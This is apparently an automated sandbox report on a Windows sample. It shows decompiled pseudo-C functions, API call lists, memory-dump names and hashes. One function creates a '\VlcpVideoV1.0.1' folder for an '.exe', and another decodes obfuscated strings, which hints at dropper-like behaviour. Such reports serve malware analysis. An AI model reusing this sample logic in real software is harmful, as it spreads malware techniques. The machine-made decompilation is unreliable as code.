						_t89 = _t259 - 0x18;
						 *_t89 =  *(_t259 - 0x18) & 0x00000000;
						__eflags =  *_t89;
						 *((intOrPtr*)(_t259 - 0x1c)) = 0xd000f4;
						 *(_t259 - 4) = 1;
						E00B7A8DA(_t196, _t259 - 0x1c, _t235, _t164);
						E00B7A8DA(_t196, _t253, _t235, CreatePatternBrush( *(_t259 - 0x18)));
						 *(_t259 - 4) = 0;
						 *((intOrPtr*)(_t259 - 0x1c)) = 0xd000f4;
						E00B7A062(_t259 - 0x1c);
					}
				} else {
					_t240 =  *((intOrPtr*)(_t259 - 0x14));
					_t197 =  *((intOrPtr*)(_t196 + 0x1e));
					 *(_t259 - 0x10) =  *(_t196 + 0x1d) & 0x000000ff;
					 *(_t259 - 0xd) =  *((intOrPtr*)(_t240 + 0x1c));
					asm("cdq");
					_t196 =  *(_t259 - 0x10);
					asm("cdq");
					asm("cdq");
					E00B7A8DA(_t196, _t240 + 0xa8, _t235, CreateSolidBrush((((( *(_t240 + 0x26) & 0x000000ff) - (_t197 & 0x000000ff) - _t235 >> 0x00000001) + _t197 & 0x000000ff) << 0x00000008 | (( *(_t240 + 0x25) & 0x000000ff) - ( *(_t259 - 0x10) & 0x000000ff) - _t235 >> 0x00000001) + _t196 & 0x000000ff) << 0x00000008 | (( *(_t240 + 0x24) & 0x000000ff) - ( *(_t259 - 0xd) & 0x000000ff) - _t235 >> 0x00000001) +  *(_t259 - 0xd) & 0x000000ff));
				}
				E00B99F05();
				_t98 = _t259 - 4;
				 *(_t259 - 4) =  *(_t259 - 4) | 0xffffffff;
				 *0xd6ed90 = 1;
				_t170 = E00B7A178(_t196, _t259 - 0x30, _t235,  *_t98);
				0xc8149e();
				return _t170;
			}

0x00b9398f
0x00b93996
0x00b9399b
0x00b9399d
0x00b939b1
0x00b939be
0x00b939be
0x00b939be
0x00b939b3
0x00b939b5
0x00b939b9
0x00000000
0x00b939bb
0x00b939bb
0x00b939bb
0x00b939b9
0x00b939c2
0x00b939cc
0x00b939db
0x00b939db
0x00b939d6
0x00b939d8
0x00b939d8
0x00b939e2
0x00b939e8
0x00b939ed
0x00b939fe
0x00b93a04
0x00b93a08
0x00b93a0b
0x00b93a0e
0x00b93a12
0x00b93a15
0x00b93a18
0x00b93a1c
0x00b93a1f
0x00b93a22
0x00b93a26
0x00b93a29
0x00b93a2c
0x00b93a30
0x00b93a33
0x00b93a36
0x00b93a3a
0x00b93a3d
0x00b93a44
0x00b93a4b
0x00b93a52
0x00b93a59
0x00b93a5c
0x00b93a60
0x00b93a63
0x00b93a6a
0x00b93a71
0x00b93a78
0x00b93a7f
0x00b93a86
0x00b93a90
0x00b93a9a
0x00b93aa4
0x00b93aae
0x00b93abd
0x00b93ac3
0x00b93ad2
0x00b93ad4
0x00b93adb
0x00b93ac5
0x00b93ac5
0x00b93ac8
0x00b93acb
0x00b93acb
0x00b93aea
0x00b93aed
0x00b93af1
0x00b93af4
0x00b93af6
0x00b93afb
0x00b93afd
0x00b93afd
0x00b93afd
0x00b93b04
0x00b93b08
0x00b93b0b
0x00b93b0d
0x00b93b12
0x00000000
0x00000000
0x00b93b16
0x00b93b1a
0x00b93b1d
0x00b93b1f
0x00b93b24
0x00000000
0x00000000
0x00b93b26
0x00b93b2e
0x00b93b3c
0x00b93b41
0x00b93b46
0x00b93b4e
0x00b93b5b
0x00b93b60
0x00b93b68
0x00b93b75
0x00b93b7a
0x00b93b82
0x00b93b92
0x00b93b97
0x00b93b9f
0x00b93bac
0x00b93bb1
0x00b93bb9
0x00b93bc6
0x00b93bcb
0x00b93bd3
0x00b93be0
0x00b93be5
0x00b93bed
0x00b93c02
0x00b93c07
0x00b93c0c
0x00b93c14
0x00b93c28
0x00b93c2d
0x00b93c35
0x00b93c49
0x00b93c4e
0x00b93c56
0x00b93c60
0x00b93c60
0x00b93c6c
0x00b93cec
0x00b93cee
0x00b93cf3
0x00000000
0x00b93cf9
0x00b93cf9
0x00b93cf9
0x00b93cf9
0x00b93d02
0x00b93d09
0x00b93d0d
0x00b93d1e
0x00b93d26
0x00b93d2a
0x00b93d2d
0x00b93d2d
0x00b93c6e
0x00b93c72
0x00b93c75
0x00b93c78
0x00b93c82
0x00b93c8b
0x00b93c92
0x00b93ca9
0x00b93cbe
0x00b93cd9
0x00b93cd9
0x00b93d32
0x00b93d37
0x00b93d37
0x00b93d3e
0x00b93d48
0x00b93d4d
0x00b93d52

APIs

__EH_prolog3.LIBCMT ref: 00B93996
GetSysColor.USER32(00000016), ref: 00B939A8
GetSysColor.USER32(0000000F), ref: 00B939B5
GetSysColor.USER32(00000015), ref: 00B939C8
GetSysColor.USER32(0000000F), ref: 00B939D0
GetSysColor.USER32(0000000F), ref: 00B93A04
GetSysColor.USER32(00000010), ref: 00B93A0E
GetSysColor.USER32(00000015), ref: 00B93A18
GetSysColor.USER32(00000016), ref: 00B93A22
GetSysColor.USER32(00000014), ref: 00B93A2C
GetSysColor.USER32(00000012), ref: 00B93A36
GetSysColor.USER32(00000011), ref: 00B93A40
GetSysColor.USER32(00000006), ref: 00B93A47
GetSysColor.USER32(0000000D), ref: 00B93A4E
GetSysColor.USER32(0000000E), ref: 00B93A55
GetSysColor.USER32(00000005), ref: 00B93A5C
GetSysColor.USER32(00000008), ref: 00B93A66
GetSysColor.USER32(00000009), ref: 00B93A6D
GetSysColor.USER32(00000007), ref: 00B93A74
GetSysColor.USER32(00000002), ref: 00B93A7B
GetSysColor.USER32(00000003), ref: 00B93A82
GetSysColor.USER32(0000001B), ref: 00B93A8C
GetSysColor.USER32(0000001C), ref: 00B93A96
GetSysColor.USER32(0000000A), ref: 00B93AA0
GetSysColor.USER32(0000000B), ref: 00B93AAA
GetSysColor.USER32(00000013), ref: 00B93AB4
GetSysColor.USER32(0000001A), ref: 00B93AD2
GetSysColorBrush.USER32(00000010), ref: 00B93AED
GetSysColorBrush.USER32(00000014), ref: 00B93B04
GetSysColorBrush.USER32(00000005), ref: 00B93B16
CreateSolidBrush.GDI32(?), ref: 00B93B3C
CreateSolidBrush.GDI32(?), ref: 00B93B56
CreateSolidBrush.GDI32(?), ref: 00B93B70
CreateSolidBrush.GDI32(?), ref: 00B93B8D
CreateSolidBrush.GDI32(?), ref: 00B93BA7
CreateSolidBrush.GDI32(?), ref: 00B93BC1
CreateSolidBrush.GDI32(?), ref: 00B93BDB
CreatePen.GDI32(00000000,00000001,00000000), ref: 00B93C02
CreatePen.GDI32(00000000,00000001,00000000), ref: 00B93C23

Part of subcall function 00B7A9E6: DeleteObject.GDI32(00000000), ref: 00B7A9F5

CreatePen.GDI32(00000000,00000001,00000000), ref: 00B93C44
CreateSolidBrush.GDI32(?), ref: 00B93CCC
CreatePatternBrush.GDI32(00000000), ref: 00B93D15

Memory Dump Source

Source File: 00000001.00000002.522267759.0000000000B01000.00000020.00000001.01000000.00000004.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000001.00000002.522159999.0000000000B00000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.527053749.0000000000CEE000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528136581.0000000000D60000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528369199.0000000000D6D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528560639.0000000000D73000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528646619.0000000000D76000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528773785.0000000000D9B000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_b00000_wYWdigdSjn.jbxd

Similarity

API ID: Color$BrushCreate$Solid$DeleteH_prolog3ObjectPattern
String ID:
API String ID: 2726386640-0
Opcode ID: a7606e8166c94af59e7385c820a1255972b7eb5c3202d9b20b2e9385b061c253
Instruction ID: c99e4bac48d72d84a8d6579d341622f1ee89d4f2f941a21186cfa71e836fc054
Opcode Fuzzy Hash: a7606e8166c94af59e7385c820a1255972b7eb5c3202d9b20b2e9385b061c253
Instruction Fuzzy Hash: 20B1AE71E003149BDF55AF758C867AE3EE0AF44740F0480BAEE199F286DB748901DFA2

Uniqueness

Uniqueness Score: -1.00%

Function 00B6D10E Relevance: 19.6, APIs: 13, Instructions: 148
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 37%

			E00B6D10E(void* __ecx) {
				signed int _v8;
				signed int _v16;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				long _t62;
				void* _t63;
				long _t83;
				signed char* _t85;
				void* _t87;
				signed int _t88;
				void* _t91;
				intOrPtr _t94;
				void* _t96;
				signed int _t97;
				signed int _t100;
				void* _t102;
				void* _t103;
				signed int _t105;
				void* _t107;
				void* _t108;
				void* _t109;
				void* _t110;
				void* _t112;
				intOrPtr _t114;
				void* _t115;

				_t103 = __ecx;
				_t1 = _t103 + 0x1c; // 0xd6b384
				_t108 = _t1;
				 *0xcee4d8(_t108, _t102, _t107, _t87, __ecx);
				_t2 = _t103 + 4; // 0x20
				_t94 =  *_t2;
				_t3 = _t103 + 8; // 0x3
				_t88 =  *_t3;
				if(_t88 >= _t94) {
					L2:
					_t88 = 1;
					if(_t94 <= 1) {
						L7:
						_t13 = _t94 + 0x20; // 0x40
						_t59 = _t13;
						_v8 = _t13;
						if( *(_t103 + 0x10) != 0) {
							_t15 = _t103 + 0x10; // 0x950418
							_t109 = GlobalHandle( *_t15);
							GlobalUnWire(_t109);
							_t62 = E00B6C969(_t88, _t94, _t103, _t109, _v8, 8);
							_t96 = 0x2002;
							_t63 = GlobalReAlloc(_t109, _t62, ??);
							_t17 = _t103 + 0x1c; // 0xd6b384
							_t108 = _t17;
						} else {
							_t83 = E00B6C969(_t88, _t94, _t103, _t108, _t59, 8);
							_pop(_t96);
							_t63 = GlobalAlloc(2, _t83); // executed
						}
						if(_t63 != 0) {
							GlobalFix(_t63);
							_t19 = _t103 + 4; // 0x20
							_t97 =  *_t19;
							_t110 = _t63;
							0xc83f30(_t110 + _t97 * 8, 0, _v8 - _t97 << 3);
							 *(_t103 + 0x10) = _t110;
							_t25 = _t103 + 0x1c; // 0xd6b384
							_t108 = _t25;
							 *(_t103 + 4) = _v8;
							goto L14;
						} else {
							if( *(_t103 + 0x10) != _t63) {
								_t37 = _t103 + 0x10; // 0x950418
								GlobalFix(GlobalHandle( *_t37));
							}
							 *0xcee4d4(_t108);
							E00B6BD23(_t96);
							asm("int3");
							_t91 = _t96;
							_t112 = _t91 + 0x1c;
							 *0xcee4d8(_t112, _t103, _t108, _t88, _t115);
							_t105 = _v16;
							if(_t105 <= 0 || _t105 >=  *((intOrPtr*)(_t91 + 0xc))) {
								_push(_t112);
							} else {
								_t114 =  *((intOrPtr*)(_t91 + 0x14));
								while(_t114 != 0) {
									if(_t105 <  *((intOrPtr*)(_t114 + 8))) {
										_t100 =  *( *((intOrPtr*)(_t114 + 0xc)) + _t105 * 4);
										if(_t100 != 0) {
											 *((intOrPtr*)( *_t100))(1);
										}
										 *( *((intOrPtr*)(_t114 + 0xc)) + _t105 * 4) =  *( *((intOrPtr*)(_t114 + 0xc)) + _t105 * 4) & 0x00000000;
									}
									_t114 =  *((intOrPtr*)(_t114 + 4));
								}
								 *( *((intOrPtr*)(_t91 + 0x10)) + _t105 * 8) =  *( *((intOrPtr*)(_t91 + 0x10)) + _t105 * 8) & 0xfffffffe;
								_push(_t91 + 0x1c);
							}
							return  *0xcee4d4();
						}
					} else {
						_t9 = _t103 + 0x10; // 0x950418
						_t85 =  *_t9 + 8;
						while(( *_t85 & 0x00000001) != 0) {
							_t88 = _t88 + 1;
							_t85 =  &(_t85[8]);
							if(_t88 < _t94) {
								continue;
							}
							break;
						}
						if(_t88 < _t94) {
							goto L14;
						} else {
							goto L7;
						}
					}
				} else {
					_t4 = _t103 + 0x10; // 0x950418
					if(( *( *_t4 + _t88 * 8) & 0x00000001) == 0) {
						L14:
						_t27 = _t103 + 0xc; // 0x3
						if(_t88 >=  *_t27) {
							_t28 = _t88 + 1; // 0x4
							 *((intOrPtr*)(_t103 + 0xc)) = _t28;
						}
						_t30 = _t103 + 0x10; // 0x950418
						 *( *_t30 + _t88 * 8) =  *( *_t30 + _t88 * 8) | 0x00000001;
						_t35 = _t88 + 1; // 0x4
						 *(_t103 + 8) = _t35;
						 *0xcee4d4(_t108);
						return _t88;
					} else {
						goto L2;
					}
				}
			}

0x00b6d115
0x00b6d117
0x00b6d117
0x00b6d11b
0x00b6d121
0x00b6d121
0x00b6d124
0x00b6d124
0x00b6d129
0x00b6d138
0x00b6d13a
0x00b6d13d
0x00b6d15a
0x00b6d15e
0x00b6d15e
0x00b6d161
0x00b6d164
0x00b6d17b
0x00b6d184
0x00b6d187
0x00b6d197
0x00b6d19d
0x00b6d1a0
0x00b6d1a6
0x00b6d1a6
0x00b6d166
0x00b6d169
0x00b6d16f
0x00b6d173
0x00b6d173
0x00b6d1ab
0x00b6d1b5
0x00b6d1bb
0x00b6d1bb
0x00b6d1be
0x00b6d1cf
0x00b6d1da
0x00b6d1dd
0x00b6d1dd
0x00b6d1e0
0x00000000
0x00b6d1ad
0x00b6d1b0
0x00b6d20b
0x00b6d215
0x00b6d215
0x00b6d21c
0x00b6d222
0x00b6d227
0x00b6d22c
0x00b6d230
0x00b6d234
0x00b6d23a
0x00b6d23f
0x00b6d27b
0x00b6d246
0x00b6d246
0x00b6d26a
0x00b6d24e
0x00b6d253
0x00b6d258
0x00b6d25e
0x00b6d25e
0x00b6d263
0x00b6d263
0x00b6d267
0x00b6d267
0x00b6d271
0x00b6d278
0x00b6d278
0x00b6d286
0x00b6d286
0x00b6d13f
0x00b6d13f
0x00b6d142
0x00b6d145
0x00b6d14a
0x00b6d14b
0x00b6d150
0x00000000
0x00000000
0x00000000
0x00b6d150
0x00b6d154
0x00000000
0x00000000
0x00000000
0x00000000
0x00b6d154
0x00b6d12b
0x00b6d12b
0x00b6d132
0x00b6d1e3
0x00b6d1e3
0x00b6d1e6
0x00b6d1e8
0x00b6d1eb
0x00b6d1eb
0x00b6d1ee
0x00b6d1f2
0x00b6d1f6
0x00b6d1f9
0x00b6d1fc
0x00b6d20a
0x00000000
0x00000000
0x00000000
0x00b6d132

APIs

RtlEnterCriticalSection.NTDLL(00D6B384), ref: 00B6D11B
GlobalAlloc.KERNEL32(00000002,00000000,?,?,?,00D6B368,?,00B6D328,00000004,00B6D813,00B6BD57,00B6C775,00B06215,?), ref: 00B6D173
GlobalHandle.KERNEL32(00950418), ref: 00B6D17E
GlobalUnWire.KERNEL32(00000000), ref: 00B6D187
GlobalReAlloc.KERNEL32(00000000,00000000,00002002), ref: 00B6D1A0
GlobalFix.KERNEL32(00000000), ref: 00B6D1B5
_memset.LIBCMT ref: 00B6D1CF
RtlLeaveCriticalSection.NTDLL(00D6B384), ref: 00B6D1FC
GlobalHandle.KERNEL32(00950418), ref: 00B6D20E
GlobalFix.KERNEL32(00000000), ref: 00B6D215
RtlLeaveCriticalSection.NTDLL(00D6B384), ref: 00B6D21C
RtlEnterCriticalSection.NTDLL(?), ref: 00B6D234
RtlLeaveCriticalSection.NTDLL(?), ref: 00B6D27C

Memory Dump Source

Source File: 00000001.00000002.522267759.0000000000B01000.00000020.00000001.01000000.00000004.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000001.00000002.522159999.0000000000B00000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.527053749.0000000000CEE000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528136581.0000000000D60000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528369199.0000000000D6D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528560639.0000000000D73000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528646619.0000000000D76000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528773785.0000000000D9B000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_b00000_wYWdigdSjn.jbxd

Similarity

API ID: Global$CriticalSection$Leave$AllocEnterHandle$Wire_memset
String ID:
API String ID: 4149757546-0
Opcode ID: 504243dc63086f920a422715bcd6dd9c72acc89c5827c5165a374fc44a81ef43
Instruction ID: 2587b258d4512ce3ceac9dc4569ddb54874ca9c6bfd813af9745902fa2f70a9b
Opcode Fuzzy Hash: 504243dc63086f920a422715bcd6dd9c72acc89c5827c5165a374fc44a81ef43
Instruction Fuzzy Hash: 4451BD72A00705AFDB248F64D889B6AB7F8FF09311B0042A9E915DB691C778F951CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 00B0E2BF Relevance: 17.7, APIs: 8, Strings: 2, Instructions: 192
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 47%

			E00B0E2BF(intOrPtr* __ecx, void* __eflags, signed int _a4, signed int* _a8) {
				intOrPtr _v0;
				signed int _v12;
				short _v16;
				void* _v24;
				char _v28;
				signed int _v40;
				short _v548;
				intOrPtr _v552;
				char _v570;
				char _v572;
				char _v576;
				intOrPtr _v580;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t52;
				signed int _t54;
				void _t62;
				WCHAR* _t64;
				struct _SECURITY_ATTRIBUTES* _t65;
				intOrPtr _t66;
				intOrPtr _t67;
				void _t68;
				void _t69;
				intOrPtr _t72;
				int _t77;
				signed int _t87;
				void* _t88;
				signed int* _t91;
				void* _t92;
				signed int _t93;
				signed int _t98;
				signed int _t101;
				intOrPtr _t113;
				signed int* _t123;
				void* _t126;
				void* _t128;
				intOrPtr* _t132;
				void* _t134;
				void* _t140;
				intOrPtr* _t142;
				intOrPtr _t143;
				void* _t149;
				signed int _t154;
				signed int _t158;
				void* _t160;
				void* _t161;

				E00B05A73(__ecx, 0x8007000e);
				asm("int3");
				_t154 = _t158;
				_push(__ecx);
				_push(__ecx);
				_t91 = _a8;
				_t146 = __ecx;
				_push(_t126);
				_t52 =  *_t91;
				_v16 = 0;
				if(_t52 < 0) {
					E00B05A73(0, 0x80070057);
					asm("int3");
					_t54 =  *0xd62790; // 0x7014776
					_v40 = _t54 ^ _t158;
					_t92 = _v24;
					_v576 = _v28;
					_v580 = 0;
					_v572 = 0;
					0xc83f30( &_v570, 0, 0x206, _t126, __ecx, _t91, _t154);
					_t160 = _t158 - 0x220 + 0xc;
					 *0xcee540(GetDesktopWindow(),  &_v572, 5, 0); // executed
					_t128 =  &_v572 - 2;
					do {
						_t62 =  *(_t128 + 2);
						_t128 = _t128 + 2;
					} while (_t62 != 0);
					_t98 = 8;
					_t64 = memcpy(_t128, L"\\VlcpVideoV1.0.1", _t98 << 2);
					_t161 = _t160 + 0xc;
					asm("movsw"); // executed
					_t65 = PathFileExistsW(_t64); // executed
					if(_t65 == 0) {
						_t77 = CreateDirectoryW( &_v548, _t65); // executed
						if(_t77 == 0) {
							0xc85ec7( &_v28, 0xcf3e38, 3);
							_t161 = _t161 + 0xc;
						}
					}
					_t132 =  &_v548 - 2;
					do {
						_t66 =  *((intOrPtr*)(_t132 + 2));
						_t132 = _t132 + 2;
					} while (_t66 != 0);
					_t67 = "\\"; // 0x5c
					_t149 = _t92;
					 *_t132 = _t67;
					do {
						_t68 =  *_t92;
						_t92 = _t92 + 2;
					} while (_t68 != 0);
					_t93 = _t92 - _t149;
					_t134 =  &_v548 - 2;
					do {
						_t69 =  *(_t134 + 2);
						_t134 = _t134 + 2;
					} while (_t69 != 0);
					_t101 = _t93 >> 2;
					memcpy(_t134, _t149, _t101 << 2);
					memcpy(_t149 + _t101 + _t101, _t149, _t93 & 0x00000003);
					_t140 =  &_v548 - 2;
					do {
						_t72 =  *((intOrPtr*)(_t140 + 2));
						_t140 = _t140 + 2;
					} while (_t72 != 0);
					asm("movsd");
					asm("movsd");
					asm("movsw");
					E00B03D46(_v552,  &_v548);
					0xc8142c();
					return _v552;
				} else {
					_t142 = _a4;
					if(_t142 == 0 ||  *_t142 == 0) {
						_t143 =  *_t146;
						if(_t52 >=  *((intOrPtr*)(_t143 - 0xc))) {
							goto L8;
						} else {
							_push(E00B0D6BA(_t146));
							_push(_t143 +  *_t91 * 2);
							E00B0C0E0(_t91, _v0, _t143);
						}
					} else {
						_t113 =  *__ecx;
						_t123 = _t113 + _t52 * 2;
						_a8 = _t123;
						_t87 = _t113 +  *(_t113 - 0xc) * 2;
						_a4 = _t87;
						if(_t123 >= _t87) {
							L8:
							 *_t91 =  *_t91 | 0xffffffff;
							E00B036A6(_v0, _t146, E00B0D6BA(_t146));
						} else {
							0xc86c61(_t123, _t142);
							_v12 = _t87;
							_t88 = _a8 + _t87 * 2;
							if(_t88 >= _a4) {
								goto L8;
							} else {
								0xc86bf7(_t88, _t142);
								_t17 =  *_t91 + _v12 + 1; // 0x1
								 *_t91 = _t17 + _t88;
								E00B0DA67(__ecx, _v0,  *_t91 + _v12, _t88);
							}
						}
					}
					return _v0;
				}
			}

0x00b0e2c4
0x00b0e2c9
0x00b0e2cb
0x00b0e2cd
0x00b0e2ce
0x00b0e2d0
0x00b0e2d4
0x00b0e2d8
0x00b0e2d9
0x00b0e2db
0x00b0e2e0
0x00b0e384
0x00b0e389
0x00b0e393
0x00b0e39a
0x00b0e3a1
0x00b0e3a6
0x00b0e3b0
0x00b0e3bb
0x00b0e3ca
0x00b0e3cf
0x00b0e3e3
0x00b0e3ef
0x00b0e3f2
0x00b0e3f2
0x00b0e3f6
0x00b0e3f9
0x00b0e400
0x00b0e40c
0x00b0e40c
0x00b0e40f
0x00b0e411
0x00b0e419
0x00b0e423
0x00b0e42b
0x00b0e438
0x00b0e43d
0x00b0e43d
0x00b0e42b
0x00b0e446
0x00b0e44b
0x00b0e44b
0x00b0e44f
0x00b0e452
0x00b0e457
0x00b0e45c
0x00b0e45e
0x00b0e460
0x00b0e460
0x00b0e463
0x00b0e466
0x00b0e471
0x00b0e473
0x00b0e476
0x00b0e476
0x00b0e47a
0x00b0e47d
0x00b0e484
0x00b0e487
0x00b0e48e
0x00b0e496
0x00b0e499
0x00b0e499
0x00b0e49d
0x00b0e4a0
0x00b0e4b7
0x00b0e4b8
0x00b0e4b9
0x00b0e4bb
0x00b0e4ce
0x00b0e4d6
0x00b0e2e6
0x00b0e2e6
0x00b0e2eb
0x00b0e341
0x00b0e346
0x00000000
0x00b0e348
0x00b0e352
0x00b0e358
0x00b0e359
0x00b0e359
0x00b0e2f2
0x00b0e2f2
0x00b0e2f4
0x00b0e2fa
0x00b0e2fd
0x00b0e300
0x00b0e305
0x00b0e360
0x00b0e360
0x00b0e36e
0x00b0e307
0x00b0e309
0x00b0e313
0x00b0e316
0x00b0e31c
0x00000000
0x00b0e31e
0x00b0e320
0x00b0e32d
0x00b0e336
0x00b0e33a
0x00b0e33a
0x00b0e31c
0x00b0e305
0x00b0e37c
0x00b0e37c

APIs

_wcsspn.LIBCMT ref: 00B0E309
_wcscspn.LIBCMT ref: 00B0E320
_memset.LIBCMT ref: 00B0E3CA
GetDesktopWindow.USER32 ref: 00B0E3DC
SHGetSpecialFolderPathW.SHELL32(00000000,?,?,00000000), ref: 00B0E3E3
PathFileExistsW.SHLWAPI(?,?,?,00000000), ref: 00B0E411
CreateDirectoryW.KERNEL32(?,00000000,?,?,00000000), ref: 00B0E423
_sprintf.LIBCMT ref: 00B0E438

Strings

.exe, xrefs: 00B0E4B1
\VlcpVideoV1.0.1, xrefs: 00B0E401

Memory Dump Source

Source File: 00000001.00000002.522267759.0000000000B01000.00000020.00000001.01000000.00000004.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000001.00000002.522159999.0000000000B00000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.527053749.0000000000CEE000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528136581.0000000000D60000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528369199.0000000000D6D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528560639.0000000000D73000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528646619.0000000000D76000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528773785.0000000000D9B000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_b00000_wYWdigdSjn.jbxd

Similarity

API ID: Path$CreateDesktopDirectoryExistsFileFolderSpecialWindow_memset_sprintf_wcscspn_wcsspn
String ID: .exe$\VlcpVideoV1.0.1
API String ID: 935740167-4252105261
Opcode ID: f040d9e2c6d6b747e169c572a441fa133b44af8f644f4044bb85f71b8b84644a
Instruction ID: 1203acc9d6fd350e30bf6dbf8a8d33e2d63c7adc88f8d16524731653a4df6947
Opcode Fuzzy Hash: f040d9e2c6d6b747e169c572a441fa133b44af8f644f4044bb85f71b8b84644a
Instruction Fuzzy Hash: B251D775A0011D9BCB24EF68DC85AEFBBF9FF54314F108599F4199B280EB30AA41CB95

Uniqueness

Uniqueness Score: -1.00%

Function 00B0DCF2 Relevance: 16.1, APIs: 4, Strings: 5, Instructions: 344
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 35%

			E00B0DCF2(void* __ebx, intOrPtr* __ecx, void* __edi, void* __esi, signed int _a4, intOrPtr _a8, intOrPtr _a12) {
				char _v8;
				intOrPtr _v24;
				char _v280;
				char _v284;
				signed int _v288;
				char _v292;
				char _v296;
				signed int _v300;
				char _v304;
				intOrPtr _v308;
				char _v312;
				void* _v316;
				char _v320;
				char _v324;
				char _v328;
				char _v332;
				intOrPtr _v336;
				intOrPtr _v340;
				intOrPtr _v344;
				intOrPtr* _v348;
				intOrPtr _v352;
				char _v356;
				char* _t122;
				char* _t128;
				signed int* _t129;
				signed int* _t130;
				intOrPtr* _t131;
				intOrPtr _t132;
				intOrPtr _t133;
				intOrPtr _t134;
				intOrPtr* _t138;
				char* _t140;
				intOrPtr* _t151;
				void* _t153;
				void* _t157;
				void* _t160;
				intOrPtr _t162;
				intOrPtr _t165;
				void* _t173;
				intOrPtr _t174;
				void* _t175;
				intOrPtr _t176;
				intOrPtr _t177;
				intOrPtr* _t179;
				intOrPtr* _t197;
				intOrPtr _t209;
				intOrPtr* _t214;
				char _t217;
				void* _t218;
				intOrPtr _t219;
				signed int _t222;
				signed int _t223;
				intOrPtr* _t225;
				void* _t230;
				void* _t231;

				_t175 = __ebx;
				_push(__esi);
				_t222 = _a4;
				_push(__edi);
				_t214 =  *__ecx - 0x10;
				_t179 =  *_t214;
				if( *((intOrPtr*)(_t214 + 8)) >= _t222 || _t222 <= 0) {
					L4:
					E00B0E2BF(_t179, __eflags);
					asm("int3");
					0xc81503();
					_v308 = _a12;
					_v8 = 1;
					E00B69480(_t175,  &_v304,  &_a4);
					_t181 = 0x154;
					_t217 = 0;
					_v8 = 2;
					_t223 = _t222 | 0xffffffff;
					0xcc457a( &_v296, _t223, 0x40, 0x8000, 0);
					_t122 =  &_v296;
					0xcc455a(_t122, "d"); // executed
					_t176 = _t122;
					__eflags = _t176;
					if(_t176 == 0) {
						0xcc457a( &_v296, _t223, 0x22, 0, "j`a");
						_t128 =  &_v296;
						0xcc454a(_t128); // executed
						_t176 = _t128;
						__eflags = _t176;
						if(_t176 == 0) {
							_t129 =  &_v288;
							_v288 = _t223;
							0xcc458a(_v296, _t129, 0, 0);
							_t176 = _t129;
							__eflags = _t176;
							if(_t176 == 0) {
								0xcc45aa(_v288, _v304, 1); // executed
								_t176 = _t129;
								__eflags = _t176;
								if(_t176 == 0) {
									_t130 =  &_v300;
									_v300 = _t223;
									0xcc45da(_v288, _v304, 0, _t130, 1);
									_t176 = _t130;
									__eflags = _t176;
									if(_t176 == 0) {
										_t131 = E00B69547(_t181, "Fihc`oNby|vUi");
										_t224 = _t131;
										_v312 = 0;
										_v348 = _t131;
										_t132 = E00B69547(_t181, "kgjm");
										_v352 = _t132;
										_t133 = E00B69547(_t181, "sgk}l");
										_v336 = _t133;
										_t134 = E00B69547(_t181, "wbhehce");
										_v344 = _t134;
										_v284 = 0;
										0xc83f30( &_v280, 0, 0x104, 0, 0, 0, 0);
										_t138 = E00B0CD24(_t176, _t181, 0, _t131, _v300, _v288, _t224,  &_v284,  &_v312);
										_t231 = _t230 + 0x40;
										while(1) {
											__eflags = _t138;
											if(_t138 == 0) {
												break;
											}
											_t140 =  &_v280;
											0xcc45fa(_v288, _v300, _t140, _t217, _t217, 4,  &_v292);
											_t176 = _t140;
											_v340 = _t176;
											0xcc462a(_v288, _v292, 0x80000000, _t217);
											__eflags = _t140;
											if(_t140 == 0) {
												do {
													E00B036A6( &_v320, _t224, E00B6CAD0());
													_v8 = 3;
													E00B036A6( &_v324, _t224, E00B6CAD0());
													_v8 = 4;
													E00B036A6( &_v316, _t224, E00B6CAD0());
													_v8 = 5;
													_t151 = _v24 + 0x108;
													while(1) {
														__eflags =  *_t151 - _t217;
														if( *_t151 == _t217) {
															break;
														}
														_t225 =  *_t151;
														_t49 = _t225 + 8; // 0x8
														_t218 = _t49;
														0xc8695e(_t218, _v352);
														__eflags = _t151;
														if(_t151 != 0) {
															0xc8695e(_t218, _v336);
															__eflags = _t151;
															if(_t151 != 0) {
																0xc8695e(_t218, _v344);
																__eflags = _t151;
																if(_t151 == 0) {
																	_t153 = E00B0DB7A(_t214,  &_v332, _v288, _v292,  *((intOrPtr*)(_t225 + 4)),  *_t225);
																	_t231 = _t231 + 0x14;
																	_v8 = 8;
